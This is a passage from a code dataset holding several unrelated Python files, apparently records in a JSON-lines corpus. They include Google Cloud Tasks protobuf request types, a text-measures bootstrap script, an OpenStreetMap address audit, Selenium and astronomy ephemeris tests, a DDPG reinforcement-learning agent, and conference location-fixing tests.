identify duplicate\n task names, these\n [CreateTask][google.cloud.tasks.v2beta3.CloudTasks.CreateTask]\n calls have significantly increased latency. Using hashed\n strings for the task id or for the prefix of the task id is\n recommended. Choosing task ids that are sequential or have\n sequential prefixes, for example using a timestamp, causes\n an increase in latency and error rates in all task commands.\n The infrastructure relies on an approximately uniform\n distribution of task ids to store and serve tasks\n efficiently.\n response_view (google.cloud.tasks_v2beta3.types.Task.View):\n The response_view specifies which subset of the\n [Task][google.cloud.tasks.v2beta3.Task] will be returned.\n\n By default response_view is\n [BASIC][google.cloud.tasks.v2beta3.Task.View.BASIC]; not all\n information is retrieved by default because some data, such\n as payloads, might be desirable to return only when needed\n because of its large size or because of the sensitivity of\n data that it contains.\n\n Authorization for\n [FULL][google.cloud.tasks.v2beta3.Task.View.FULL] requires\n ``cloudtasks.tasks.fullView`` `Google\n IAM `__ permission on the\n [Task][google.cloud.tasks.v2beta3.Task] resource.\n \"\"\"\n\n parent: str = proto.Field(\n proto.STRING,\n number=1,\n )\n task: gct_task.Task = proto.Field(\n proto.MESSAGE,\n number=2,\n message=gct_task.Task,\n )\n response_view: gct_task.Task.View = proto.Field(\n proto.ENUM,\n number=3,\n enum=gct_task.Task.View,\n )\n\n\nclass DeleteTaskRequest(proto.Message):\n r\"\"\"Request message for deleting a task using\n [DeleteTask][google.cloud.tasks.v2beta3.CloudTasks.DeleteTask].\n\n Attributes:\n name (str):\n Required. The task name. For example:\n ``projects/PROJECT_ID/locations/LOCATION_ID/queues/QUEUE_ID/tasks/TASK_ID``\n \"\"\"\n\n name: str = proto.Field(\n proto.STRING,\n number=1,\n )\n\n\nclass RunTaskRequest(proto.Message):\n r\"\"\"Request message for forcing a task to run now using\n [RunTask][google.cloud.tasks.v2beta3.CloudTasks.RunTask].\n\n Attributes:\n name (str):\n Required. The task name. For example:\n ``projects/PROJECT_ID/locations/LOCATION_ID/queues/QUEUE_ID/tasks/TASK_ID``\n response_view (google.cloud.tasks_v2beta3.types.Task.View):\n The response_view specifies which subset of the\n [Task][google.cloud.tasks.v2beta3.Task] will be returned.\n\n By default response_view is\n [BASIC][google.cloud.tasks.v2beta3.Task.View.BASIC]; not all\n information is retrieved by default because some data, such\n as payloads, might be desirable to return only when needed\n because of its large size or because of the sensitivity of\n data that it contains.\n\n Authorization for\n [FULL][google.cloud.tasks.v2beta3.Task.View.FULL] requires\n ``cloudtasks.tasks.fullView`` `Google\n IAM `__ permission on the\n [Task][google.cloud.tasks.v2beta3.Task] resource.\n \"\"\"\n\n name: str = proto.Field(\n proto.STRING,\n number=1,\n )\n response_view: gct_task.Task.View = proto.Field(\n proto.ENUM,\n number=2,\n enum=gct_task.Task.View,\n )\n\n\nclass BufferTaskRequest(proto.Message):\n r\"\"\"Request message for\n [BufferTask][google.cloud.tasks.v2beta3.CloudTasks.BufferTask].\n\n Attributes:\n queue (str):\n Required. The parent queue name. For example:\n projects/PROJECT_ID/locations/LOCATION_ID/queues/QUEUE_ID\\`\n\n The queue must already exist.\n task_id (str):\n Optional. Task ID for the task being created.\n If not provided, a random task ID is assigned to\n the task.\n body (google.api.httpbody_pb2.HttpBody):\n Optional. Body of the HTTP request.\n\n The body can take any generic value. The value is written to\n the [HttpRequest][payload] of the [Task].\n \"\"\"\n\n queue: str = proto.Field(\n proto.STRING,\n number=1,\n )\n task_id: str = proto.Field(\n proto.STRING,\n number=2,\n )\n body: httpbody_pb2.HttpBody = proto.Field(\n proto.MESSAGE,\n number=3,\n message=httpbody_pb2.HttpBody,\n )\n\n\nclass BufferTaskResponse(proto.Message):\n r\"\"\"Response message for\n [BufferTask][google.cloud.tasks.v2beta3.CloudTasks.BufferTask].\n\n Attributes:\n task (google.cloud.tasks_v2beta3.types.Task):\n The created task.\n \"\"\"\n\n task: gct_task.Task = proto.Field(\n proto.MESSAGE,\n number=1,\n message=gct_task.Task,\n )\n\n\n__all__ = tuple(sorted(__protobuf__.manifest))\n","sub_path":"google/cloud/tasks_v2beta3/types/cloudtasks.py","file_name":"cloudtasks.py","file_ext":"py","file_size_in_byte":21670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"322310688","text":"#!/usr/bin/python2.7\n# originally by: Antonio Toral\n# modified for use: Mike Zhang\n# command: cat [filepath] | python3 measures.py\n\nimport fileinput\nimport random\nimport re\nimport numpy as np, scipy.stats as st # confint\n\nR = 1000 # 0\nsize = 22000 # size of the 2 input files (number of words with wc)\n\n\n\ndef random_subset(data, size):\n num_words = 0\n num_lines = 0\n subset = list()\n # random.shuffle(data) # without replacement\n data = [random.choice(data) for _ in range(len(data))] # with replacement\n\n for line in data:\n subset.append(line)\n num_words += len(re.findall(r'\\w+', line)) # does not work for ZH\n # num_words += len(line.split())\n num_lines += 1\n # print num_words, size\n if (num_words > size):\n break\n\n # print num_lines, num_words, size\n return subset\n\ndef msl(data):\n tot_lines = 0\n words = list()\n for line in data:\n words += line.split()\n tot_lines += 1\n\n return len(words) / tot_lines\n\ndef led(data):\n # POS tags that do start with J, N, R, V\n cnt = 0\n tot = 0\n for pos in data:\n if pos.startswith(('J', 'N', 'R', 'V')):\n cnt += 1\n tot += 1\n return cnt / tot\n\n\ndef ttr(data):\n words = list()\n for line in data:\n words += line.split()\n # re.findall(r'\\w+', line)\n uniq_words = set(words)\n return len(uniq_words) / float(len(words))\n\n\ndef mystats(a):\n print(np.mean(a))\n print(np.std(a))\n print(st.t.interval(0.95, len(a) - 1, loc=np.mean(a), scale=st.sem(a)))\n\n\ndata = [line.strip() for line in fileinput.input()]\nvalues = []\nfor i in range(R):\n subset = random_subset(data, size)\n\n # comment/uncomment preferred measure\n\n # ratio = ttr(subset)\n ratio = led(subset)\n # ratio = msl(subset)\n\n values.append(ratio)\n\n\nmystats(values)","sub_path":"measures.py","file_name":"measures.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"183562682","text":"import re\r\nimport xml.etree.cElementTree as ET\r\nimport pprint\r\nimport re\r\nimport codecs\r\nimport json\r\nfrom collections import defaultdict\r\n\r\nstreet_type_re = re.compile(r'\\b\\S+\\.?$', re.IGNORECASE)\r\n\r\nexpected = [\"Street\", \"Avenue\", \"Boulevard\", \"Drive\", \"Court\", \"Place\", \"Square\", \"Lane\", \"Road\", \r\n \"Trail\", \"Parkway\", \"Commons\", \"Heights\", \"North\", \"East\", \"West\", \"South\"]\r\n\r\n\r\nfilename = 'boston.osm'\r\n \r\ndef process_addressanomalies(addressvalue): \r\n match = street_type_re.search(addressvalue)\r\n if match: \r\n street_type = match.group()\r\n if street_type not in expected: \r\n street_types[street_type].add(addressvalue)\r\n \r\ndef read_file():\r\n for _, element in ET.iterparse(filename): \r\n if element.tag == 'tag': \r\n key=element.get('k')\r\n if 'addr:street' in key:\r\n addr_value = element.get('v')\r\n process_addressanomalies(addr_value)\r\n return street_types \r\n\r\nif __name__ == \"__main__\":\r\n street_types = defaultdict(set)\r\n read_key = read_file()\r\npprint.pprint(dict(read_key))\r\n\r\n \r\n","sub_path":"Data Auditing/Auditing_Address_Anomalies.py","file_name":"Auditing_Address_Anomalies.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"153737496","text":"# -*- coding: utf-8 -*-\n\"\"\"\n ghostly.tests.django.test_testcase\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n Tests for :py:class:`.GhostlyDjangoTestCase`\n\"\"\"\nfrom __future__ import absolute_import, print_function, unicode_literals\n\nimport unittest\n\nfrom django.core.urlresolvers import reverse\nfrom django.utils import six\nfrom selenium.webdriver.remote.webelement import WebElement\n\nfrom ghostly.django.testcase import GhostlyDjangoTestCase\nfrom ghostly.errors import GhostlyTimeoutError\n\n\nclass GhostlyTestCase(GhostlyDjangoTestCase):\n \"\"\"\n Tests for :py:class:`.Ghostly`.\n\n Note that this behaviour relies upon\n \"\"\"\n #driver = 'Chrome'\n\n def test_xpath_wait_with_visibility(self):\n \"\"\"\n Test :py:meth:`.Ghostly.xpath_wait`\n \"\"\"\n self.goto(reverse('test1'))\n self.ghostly.xpath_click('//*[@id=\"hello-world-delayed-toggle\"]')\n\n actual = self.ghostly.xpath_wait('//*[@id=\"hello-world\"]')\n\n self.assertIsInstance(actual, WebElement)\n\n def test_xpath_wait_disregard_visibility(self):\n \"\"\"\n Test :py:meth:`.Ghostly.xpath_wait` disregarding the visibility of the\n element.\n \"\"\"\n self.goto(reverse('test1') + '?delay=10')\n self.ghostly.xpath_click('//*[@id=\"hello-world-delayed-toggle\"]')\n\n actual = self.ghostly.xpath_wait('//*[@id=\"hello-world\"]',\n visible=False,\n timeout=0.05)\n\n self.assertIsInstance(actual, WebElement)\n\n def test_xpath_wait_raises(self):\n \"\"\"\n Test :py:meth:`.Ghostly.xpath_wait` raises if it reaches a timeout\n \"\"\"\n self.goto(reverse('test1') + '?delay=10')\n self.ghostly.xpath_click('//*[@id=\"hello-world-delayed-toggle\"]')\n\n self.assertRaises(GhostlyTimeoutError,\n self.ghostly.xpath_wait,\n '//*[@id=\"hello-world\"]',\n timeout=0.25)\n\n def test_xpath_wait_with_click(self):\n \"\"\"\n Test :py:meth:`.Ghostly.xpath_wait` call through to xpath click.\n \"\"\"\n self.goto(reverse('test1') + '?delay=1')\n self.ghostly.xpath_click('//*[@id=\"hello-world-delayed-toggle\"]')\n\n element = self.ghostly.xpath_wait('//*[@id=\"close\"]', click=True)\n\n self.assertFalse(\n element.is_displayed(),\n \"Expected element with id '#close' to not be displayed.\")\n\n def test_svg(self):\n \"\"\"\n Test clicking within SVG.\n \"\"\"\n self.goto(reverse('test1'))\n\n # Check the circle exists\n circle = self.ghostly.xpath('//*[@id=\"refresh\"]/*[name()=\"circle\"]')\n self.assertEqual(circle.get_attribute('cx'), six.text_type('50'))\n\n # Click the link around the red circle\n self.ghostly.xpath_click('//*[@id=\"refresh\"]')\n\n # Test the click happened\n self.assertCurrentUrl('/test1/?title=Success')\n\n # h2 is not yet visible\n self.assertXpathEqual('//h2', '')\n\n # Click the link around the blue circle\n self.ghostly.xpath_click('//*[@id=\"hello-world-toggle\"]')\n\n # Now check that Hello World is visible\n self.assertXpathEqual('//h2', 'Hello World')\n\n def test_form_submit(self):\n self.goto(reverse('test1'))\n\n expected = 'Foo bar'\n self.ghostly.form_submit('//form', title=expected)\n self.assertXpathEqual('//h1', expected)\n","sub_path":"ghostly/tests/django/test_ghostly.py","file_name":"test_ghostly.py","file_ext":"py","file_size_in_byte":3448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"150778410","text":"import tensorflow as tf\nimport numpy as np\nimport core as cr\nimport env_config as env_set\nfrom buffer import replay_buffer\nfrom collections import deque\nfrom ou_noise import OU_noise\nfrom tensorboardX import SummaryWriter\n\nenv_set = env_set.ball3d_set\n\nclass DDPG:\n def __init__(self):\n self.sess = tf.Session()\n self.memory = replay_buffer(env_set['mem_size'])\n self.tau = 0.995\n self.gamma = env_set['gamma']\n self.state_size = env_set['state']\n self.output_size = env_set['action']\n self.worker_size = env_set['worker']\n self.action_limit = 1.0\n self.hidden = env_set['hidden']\n self.batch_size = 64\n self.pi_lr = env_set['pi_lr']\n self.q_lr = env_set['q_lr']\n self.noise = OU_noise(self.output_size, self.worker_size)\n\n self.x_ph, self.a_ph, self.x2_ph, self.r_ph, self.d_ph = \\\n cr.placeholders(self.state_size, self.output_size, self.state_size, None, None)\n\n with tf.variable_scope('main'):\n self.pi, self.q, self.q_pi = cr.mlp_actor_critic(self.x_ph,\n self.a_ph, self.hidden, activation=tf.nn.relu, output_activation=tf.tanh,\n output_size=self.output_size, action_limit=self.action_limit)\n\n with tf.variable_scope('target'):\n self.pi_targ, _, self.q_pi_targ = cr.mlp_actor_critic(self.x2_ph,\\\n self.a_ph, self.hidden, activation=tf.nn.relu, output_activation=tf.tanh,\n output_size=self.output_size, action_limit=self.action_limit)\n\n self.pi_params = cr.get_vars('main/pi')\n self.q_params = cr.get_vars('main/q')\n self.target = tf.stop_gradient(self.r_ph + self.gamma * (1 - self.d_ph) * self.q_pi_targ)\n self.pi_loss = -tf.reduce_mean(self.q_pi)\n self.v_loss = tf.reduce_mean((self.q - self.target) ** 2)\n\n self.pi_optimizer = tf.train.AdamOptimizer(self.pi_lr)\n self.train_pi_op = self.pi_optimizer.minimize(self.pi_loss, var_list=self.pi_params)\n\n self.value_optimizer = tf.train.AdamOptimizer(self.q_lr)\n with tf.control_dependencies([self.train_pi_op]):\n self.train_value_op = self.value_optimizer.minimize(self.v_loss, var_list=self.q_params)\n\n with tf.control_dependencies([self.train_value_op]):\n self.target_update = tf.group([tf.assign(v_targ, self.tau * v_targ + (1 - self.tau) * v_main)\n for v_main, v_targ in zip(cr.get_vars('main'), cr.get_vars('target'))])\n\n self.step_ops = [self.pi_loss, self.v_loss, self.train_pi_op, self.train_value_op, self.target_update]\n self.target_init = tf.group([tf.assign(v_targ, v_main)\n for v_main, v_targ in zip(cr.get_vars('main'), cr.get_vars('target'))])\n\n self.sess.run(tf.global_variables_initializer())\n\n self.sess.run(self.target_init)\n self.saver = tf.train.Saver()\n\n def update(self):\n data = self.memory.get_sample(sample_size=self.batch_size)\n feed_dict = {\n self.x_ph : data['state'],\n self.x2_ph : data['next_state'],\n self.a_ph : data['action'],\n self.r_ph : data['reward'],\n self.d_ph : data['done']\n }\n\n pi_loss, q_loss, _, _, _ = self.sess.run(self.step_ops, feed_dict=feed_dict)\n return q_loss, pi_loss\n\n def get_action(self, state, epsilon,size):\n a = self.sess.run(self.pi, feed_dict={self.x_ph: state})\n a += epsilon * np.random.randn(size,self.output_size)\n #a += epsilon * self.noise.sample()\n return np.clip(a, -self.action_limit, self.action_limit)\n\n def run_gym(self):\n import mujoco_py\n import gym\n\n writer = SummaryWriter('runs/ddpg'+env_set['env_name'])\n\n epsilon = 0.1\n ep = 0\n\n env = gym.make(env_set['env_name'])\n\n step = 0\n end_ep = env_set['ep_len']\n train_start_ep = 5\n vs = []\n ps = []\n scores = deque(maxlen=10)\n score = 0\n state = env.reset()\n while True:\n ep += 1\n if epsilon > 0.05:\n epsilon = -ep * 2.0/end_ep + 1.0\n for i in range(1000):\n if ep > end_ep:\n env.render()\n step += 1\n\n action = self.get_action([state],epsilon)\n next_state, reward, done, info = env.step(action)\n\n self.memory.append(state, next_state, reward, done, action[0])\n score += reward\n state = next_state\n\n if ep > train_start_ep:\n v, p = self.update()\n vs.append(v)\n ps.append(p)\n\n if done:\n scores.append(score)\n score = 0\n state = env.reset()\n\n if ep < end_ep:\n print('episode :' ,ep, '| score : ',\n \"{0:.2f}\".format(np.mean(scores)),\n '| epsilon :', \"{0:.2f}\".format(epsilon),\n \" | v :\",\"{0:.2f}\".format(np.mean(vs)),\n \" | p :\",\"{0:.2f}\".format(np.mean(ps)))\n writer.add_scalar('data/reward', np.mean(scores), ep)\n writer.add_scalar('data/epsilon', epsilon, ep)\n writer.add_scalar('data/memory_size', len(self.memory.memory), ep)\n writer.add_scalar('loss/value',np.mean(vs),ep)\n writer.add_scalar('loss/policy',np.mean(ps),ep)\n vs.clear()\n ps.clear()\n\n def run_unity(self):\n from mlagents_envs.environment import UnityEnvironment\n from mlagents_envs.side_channel.engine_configuration_channel import EngineConfig, EngineConfigurationChannel\n writer = SummaryWriter('runs/ddpg_'+env_set['env_name'])\n epsilon = 1\n self.ep = 0\n self.dynamic_risk = 1\n\n engine_configuration_channel = EngineConfigurationChannel()\n env = UnityEnvironment(file_name=\"env/\" + env_set['env_name'], side_channels=[engine_configuration_channel])\n env.reset()\n group_name = env.get_behavior_names()[0]\n group_spec = env.get_behavior_spec(group_name)\n engine_configuration_channel.set_configuration_parameters(time_scale=12.0)\n dec, term = env.get_steps(group_name)\n\n step = 0\n scores = np.zeros([self.worker_size])\n score = deque(maxlen=10)\n end_ep = env_set['ep_len']\n train_start_ep = 5\n vs = []\n ps = []\n\n #for i in range(1000*end_ep)\n while True:\n self.ep += 1\n if epsilon > 0.05:\n epsilon = -self.ep * 2.0/end_ep + 1.0\n for i in range(1000):\n step += 1\n\n if self.ep > train_start_ep:\n actions = self.get_action(dec.obs[0], epsilon,len(dec.agent_id))\n else:\n actions = 2.0 * np.random.rand(len(dec.agent_id), self.output_size) - 1.0\n\n env.set_actions(group_name, actions)\n if len(dec.agent_id) > 0:\n old_dec = dec\n old_action = actions\n action_idx = old_dec.agent_id\n env.step()\n dec, term = env.get_steps(group_name)\n for idx in term.agent_id:\n state = old_dec[idx].obs[0]\n next_state = term[idx].obs[0]\n reward = term[idx].reward\n done = not term[idx].max_step\n act = old_action[idx]\n self.memory.append(state, next_state, reward, done, act)\n scores[idx] += reward\n score.append(scores[idx])\n scores[idx] = 0\n for idx in dec.agent_id:\n if idx in term.agent_id:\n continue\n state = old_dec[idx].obs[0]\n next_state = dec[idx].obs[0]\n reward = dec[idx].reward\n done = False\n act = old_action[idx]\n self.memory.append(state, next_state, reward, done, act)\n scores[idx] += reward\n\n if self.ep > train_start_ep:\n if step % 2 == 0:\n v, p = self.update()\n vs.append(v)\n ps.append(p)\n else:\n v = self.value_update()\n vs.append(v)\n\n print('episode :', self.ep, '| score : ',\n \"{0:.2f}\".format(np.mean(score)), \"[{0:.1f}]\".format(np.std(score)),\n '| epsilon :', \"{0:.2f}\".format(epsilon),\n \" | v :\", \"{0:.2f}\".format(np.mean(vs)),\n \" | p :\", \"{0:.2f}\".format(np.mean(ps)))\n if self.ep < end_ep:\n writer.add_scalar('data/reward', np.mean(score), self.ep)\n writer.add_scalar('data/reward_std',np.std(score),self.ep)\n writer.add_scalar('data/epsilon', epsilon, self.ep)\n writer.add_scalar('data/memory_size', len(self.memory.memory), self.ep)\n writer.add_scalar('loss/value',np.mean(vs),self.ep)\n writer.add_scalar('loss/policy',np.mean(ps),self.ep)\n writer.add_scalar('data/CVaR', self.dynamic_risk, self.ep)\n vs.clear()\n ps.clear()\n else:\n break\n \nif __name__ == '__main__':\n agent = DDPG()\n if env_set['env_platform'] == 'gym':\n agent.run_gym()\n elif env_set['env_platform'] == 'unity-ml':\n agent.run_unity()","sub_path":"ddpg.py","file_name":"ddpg.py","file_ext":"py","file_size_in_byte":9756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"208520291","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\nimport pytest\nfrom copy import deepcopy\n\nfrom numpy.testing import assert_allclose\nimport astropy.units as u\nfrom astropy.time import Time\n\nfrom sbpy.data import Ephem, Orbit\nfrom sbpy import bib\nfrom ..core import conf\n\n\n@pytest.mark.remote_data\ndef test_from_horizons():\n \"\"\" test from_horizons method\"\"\"\n\n # current epoch\n now = Time.now()\n data = Ephem.from_horizons('Ceres')\n assert_allclose(data['datetime_jd'], now.jd*u.d)\n\n # date range - astropy.time.Time objects\n epochs = {'start': Time('2018-01-02', format='iso'),\n 'stop': Time('2018-01-05', format='iso'),\n 'step': '6h'}\n data = Ephem.from_horizons('Ceres', epochs=epochs)\n assert len(data.table) == 13\n\n # date range - strings\n epochs = {'start': '2018-01-02',\n 'stop': '2018-01-05',\n 'step': '6h'}\n data = Ephem.from_horizons('Ceres', epochs=epochs)\n assert len(data.table) == 13\n\n # astropy.time.Time object with list of Dates\n epochs = Time(['2018-01-01', '2018-01-02'])\n data = Ephem.from_horizons('Ceres', epochs=epochs)\n assert len(data.table) == 2\n\n # query two objects\n data = Ephem.from_horizons(['Ceres', 'Pallas'])\n assert len(data.table) == 2\n\n # test bib service\n bib.track()\n data = Ephem.from_horizons(['Ceres', 'Pallas'])\n assert 'sbpy.data.Ephem' in bib.to_text()\n\n\n@pytest.mark.remote_data\nclass TestEphemFromMPC:\n def test_single_epoch_now(self):\n eph = Ephem.from_mpc('Ceres')\n assert len(eph.table) == 1\n\n def test_single_epoch(self):\n eph = Ephem.from_mpc('Ceres', epochs='2018-10-01')\n assert len(eph.table) == 1\n\n def test_multiple_epochs(self):\n eph = Ephem.from_mpc('Ceres', epochs=['2018-10-01', '2019-10-01'])\n assert len(eph.table) == 2\n\n def test_start_stop_step(self):\n epochs = dict(start='2018-10-01', stop='2018-10-31', step='1d')\n eph = Ephem.from_mpc('Ceres', epochs=epochs)\n assert len(eph.table) == 31\n\n def test_minute_steps_pr88(self):\n \"\"\"https://github.com/NASA-Planetary-Science/sbpy/pull/88\"\"\"\n epochs = dict(start='2018-10-01', step='1min', number=10)\n eph = Ephem.from_mpc('Ceres', epochs=epochs)\n assert len(eph.table) == 10\n\n def test_start_stop_no_step(self):\n with pytest.raises(ValueError):\n eph = Ephem.from_mpc('Ceres', epochs={'start': '2018-10-01',\n 'stop': '2018-10-31'})\n\n def test_start_step_number(self):\n epochs = dict(start='2018-10-01', step='1d', number=31)\n eph = Ephem.from_mpc('Ceres', epochs=epochs)\n assert len(eph.table) == 31\n assert eph['Date'][-1] == '2018-10-31 00:00:00.000'\n\n def test_start_stop_jd(self):\n epochs = {'start': 2458396.5, 'stop': 2458397.5, 'step': '1d'}\n eph = Ephem.from_mpc('Ceres', epochs=epochs)\n assert eph['Date'][0] == '2018-10-05 00:00:00.000'\n assert eph['Date'][1] == '2018-10-06 00:00:00.000'\n\n def test_epochs_jd(self):\n epochs = ['2018-10-05', 2458397.5]\n eph = Ephem.from_mpc('Ceres', epochs=epochs)\n assert eph['Date'][1] == '2018-10-06 00:00:00.000'\n\n def test_step_unit(self):\n with pytest.raises(ValueError):\n eph = Ephem.from_mpc('Ceres', epochs={'start': '2018-10-01',\n 'step': '1yr'})\n\n def test_ra_dec_format(self):\n epochs = dict(start='2018-10-01', step='1d', number=31)\n ra_format = {'sep': ':', 'unit': 'hourangle', 'precision': 1}\n dec_format = {'sep': ':', 'precision': 1}\n eph = Ephem.from_mpc('Ceres', epochs=epochs, ra_format=ra_format,\n dec_format=dec_format)\n assert isinstance(eph['RA'][0], str)\n assert isinstance(eph['Dec'][0], str)\n\n\n@pytest.mark.remote_data\ndef test_from_oo():\n \"\"\"test from_oo method\"\"\"\n\n try:\n import pyoorb\n except ImportError:\n return None\n\n orbit = Orbit.from_horizons('Ceres')\n horizons_ephem = Ephem.from_horizons('Ceres', location='500')\n oo_ephem = Ephem.from_oo(orbit)\n\n u.isclose(horizons_ephem['ra'][0], oo_ephem['ra'][0])\n u.isclose(horizons_ephem['dec'][0], oo_ephem['dec'][0])\n u.isclose(horizons_ephem['RA*cos(Dec)_rate'][0],\n oo_ephem['RA*cos(Dec)_rate'][0])\n u.isclose(horizons_ephem['dec_rate'][0], oo_ephem['dec_rate'][0])\n u.isclose(horizons_ephem['alpha'][0], oo_ephem['alpha'][0])\n u.isclose(horizons_ephem['r'][0], oo_ephem['r'][0])\n u.isclose(horizons_ephem['delta'][0], oo_ephem['delta'][0])\n u.isclose(horizons_ephem['V'][0], oo_ephem['V'][0])\n u.isclose(horizons_ephem['hlon'][0], oo_ephem['hlon'][0])\n u.isclose(horizons_ephem['hlat'][0], oo_ephem['hlat'][0])\n u.isclose(horizons_ephem['EL'][0], oo_ephem['EL'][0])\n\n # test manual orbit definition lacking units\n manorbit = Orbit.from_dict({\n 'targetname': orbit['targetname'][0],\n 'a': orbit['a'].value[0],\n 'e': orbit['e'][0],\n 'i': orbit['i'].value[0],\n 'w': orbit['w'].value[0],\n 'Omega': orbit['Omega'].value[0],\n 'datetime_jd': orbit['datetime_jd'][0].value,\n 'M': orbit['M'].value[0],\n 'H': orbit['H'].value[0],\n 'G': orbit['G'][0],\n 'timescale': orbit['timescale'][0]})\n\n oo_ephem = Ephem.from_oo(manorbit)\n\n u.isclose(horizons_ephem['ra'][0], oo_ephem['ra'][0])\n u.isclose(horizons_ephem['dec'][0], oo_ephem['dec'][0])\n u.isclose(horizons_ephem['RA*cos(Dec)_rate'][0],\n oo_ephem['RA*cos(Dec)_rate'][0])\n u.isclose(horizons_ephem['dec_rate'][0], oo_ephem['dec_rate'][0])\n u.isclose(horizons_ephem['alpha'][0], oo_ephem['alpha'][0])\n u.isclose(horizons_ephem['r'][0], oo_ephem['r'][0])\n u.isclose(horizons_ephem['delta'][0], oo_ephem['delta'][0])\n u.isclose(horizons_ephem['V'][0], oo_ephem['V'][0])\n u.isclose(horizons_ephem['hlon'][0], oo_ephem['hlon'][0])\n u.isclose(horizons_ephem['hlat'][0], oo_ephem['hlat'][0])\n u.isclose(horizons_ephem['EL'][0], oo_ephem['EL'][0])\n","sub_path":"sbpy/data/tests/test_ephem_remote.py","file_name":"test_ephem_remote.py","file_ext":"py","file_size_in_byte":6174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"563853639","text":"'''\nCreated on 2021-08-06\n\n@author: wf\n'''\nimport unittest\nfrom tests.datasourcetoolbox import DataSourceTest\nfrom corpus.lookup import CorpusLookup\nfrom corpus.location import LocationLookup\nfrom collections import Counter\nfrom geograpy.locator import City,Locator\nfrom lodstorage.query import Query\nfrom lodstorage.tabulateCounter import TabulateCounter\nfrom corpus.event import EventStorage\nimport getpass\nimport os\n\nclass TestLocationFixing(DataSourceTest):\n '''\n test fixing Locations from different Datasources\n '''\n\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n # makes sure the geograpy3 data is available\n Locator.resetInstance()\n locator=Locator.getInstance()\n locator.downloadDB()\n \n cls.locationLookup=LocationLookup()\n lookupIds=[\"crossref\",\"confref\",\"dblp\",\"wikidata\",\"wikicfp\",\"orclone\"]\n cls.lookup=CorpusLookup(lookupIds=lookupIds)\n cls.lookup.load(forceUpdate=False)\n \n \n def setUp(self):\n DataSourceTest.setUp(self)\n self.locationLookup=TestLocationFixing.locationLookup\n self.lookup\n pass\n \n @staticmethod\n def inCI():\n '''\n are we running in a Continuous Integration Environment?\n '''\n publicCI=getpass.getuser() in [\"travis\", \"runner\"] \n jenkins= \"JENKINS_HOME\" in os.environ;\n return publicCI or jenkins\n \n def testQuery(self):\n '''\n test helpful queries for example selection\n '''\n sqlDB=EventStorage.getSqlDB()\n queries=[\n (\"wikicfp locality histogramm\",\"\"\"select count(*),seriesId,locality\nfrom event_wikicfp\nwhere seriesId is not null\ngroup by seriesId,locality\norder by 1 desc\nlimit 20\"\"\"),\n (\"SGK Example\",\"select locality from event_wikicfp where seriesId=2693\")\n]\n for title,queryString in queries:\n query=Query(title,queryString,lang='sql')\n localityRecords=sqlDB.query(query.query)\n dqr=query.documentQueryResult(localityRecords)\n if self.debug:\n print(dqr)\n \n def testLocationLookup(self):\n '''\n test the location lookup\n '''\n examples=[ \n (\"Westonaria,Gauteng,South Africa\",\"Q2671197\"),\n (\"Beijing, China\",\"Q956\"),\n (\"Washington, DC, USA\",\"Q61\"),\n (\"Brno\",\"Q14960\"),\n \n ] \n failures=[]\n show=self.debug\n for locationText,expectedLocationId in examples:\n location=self.locationLookup.lookup(locationText)\n if show:\n print(location)\n if not location.wikidataid == expectedLocationId:\n failures.append(locationText)\n if self.debug:\n print(f\"locationLooup failed for {failures}\")\n self.assertEqual(0,len(failures))\n\n def testCrossRefParts(self):\n '''\n test CrossRef locations\n '''\n crossRefDataSource=self.lookup.getDataSource(\"crossref\")\n events=crossRefDataSource.eventManager.events\n partCount=Counter()\n for event in events:\n #print(event.location)\n location=event.location\n if location is not None:\n parts=event.location.split(\",\")\n partCount[len(parts)]+=1\n if self.debug:\n print (partCount.most_common())\n self.assertEqual(6,len(partCount))\n pass\n \n def getCounter(self,events:list,propertyName:str):\n '''\n get a counter for the given propertyName\n '''\n counter=Counter()\n for event in events:\n if hasattr(event,propertyName):\n value=getattr(event,propertyName)\n if value is not None:\n counter[value]+=1\n tabCounter=TabulateCounter(counter)\n return counter,tabCounter\n \n def fixLocations(self,eventManager,locationAttribute,addLocationInfo=False,limit=100,show=True):\n events=eventManager.events\n pCount,_pCountTab=self.getCounter(events,locationAttribute)\n eventsByLocation=eventManager.getLookup(locationAttribute,withDuplicates=True)\n count=len(pCount.items())\n total=sum(pCount.values())\n rsum=0\n problems=[]\n for i,locationTuple in enumerate(pCount.most_common(limit)):\n locationText,locationCount=locationTuple\n rsum+=locationCount\n percent=rsum/total*100\n city=None\n try:\n city=self.locationLookup.lookup(locationText)\n except Exception as ex:\n print(str(ex))\n if city is not None and isinstance(city,City):\n if show:\n print(f\"{i:4d}/{count:4d}{rsum:6d}/{total:5d}({percent:4.1f}%)✅:{locationText}({locationCount})→{city} ({city.pop})\")\n events=eventsByLocation[locationText]\n # loop over all events\n for event in events:\n event.city=city.name\n event.cityWikidataid=city.wikidataid\n \n event.region=city.region.name\n event.regionIso=city.region.iso\n event.regionWikidataid=city.region.wikidataid\n event.country=city.country.name\n event.countryIso=city.country.iso\n event.countryWikidataid=city.country.wikidataid\n else:\n if show:\n print(f\"{i:4d}/{count:4d}{rsum:6d}/{total:5d}({percent:4.1f}%)❌:{locationText}({locationCount})\")\n problems.append(locationText)\n for i,problem in enumerate(problems):\n if show:\n print(f\"{i:4d}:{problem}\") \n print(f\"found {len(problems)} problems\") \n if addLocationInfo:\n eventManager.store() \n \n def testConfRefLocationFix(self):\n '''\n test fixing confref locations\n '''\n confrefDataSource=self.lookup.getDataSource(\"confref\")\n limit=50 if self.inCI() else 200\n show=not self.inCI()\n addLocationInfo=limit>=2000\n for event in confrefDataSource.eventManager.events:\n event.location=f\"{event.city}, {event.country}\"\n self.fixLocations(confrefDataSource.eventManager,locationAttribute=\"location\",limit=limit,show=show,addLocationInfo=addLocationInfo)\n \n def testCrossRefLocationFix(self):\n '''\n test fixing CrossRef locations\n '''\n 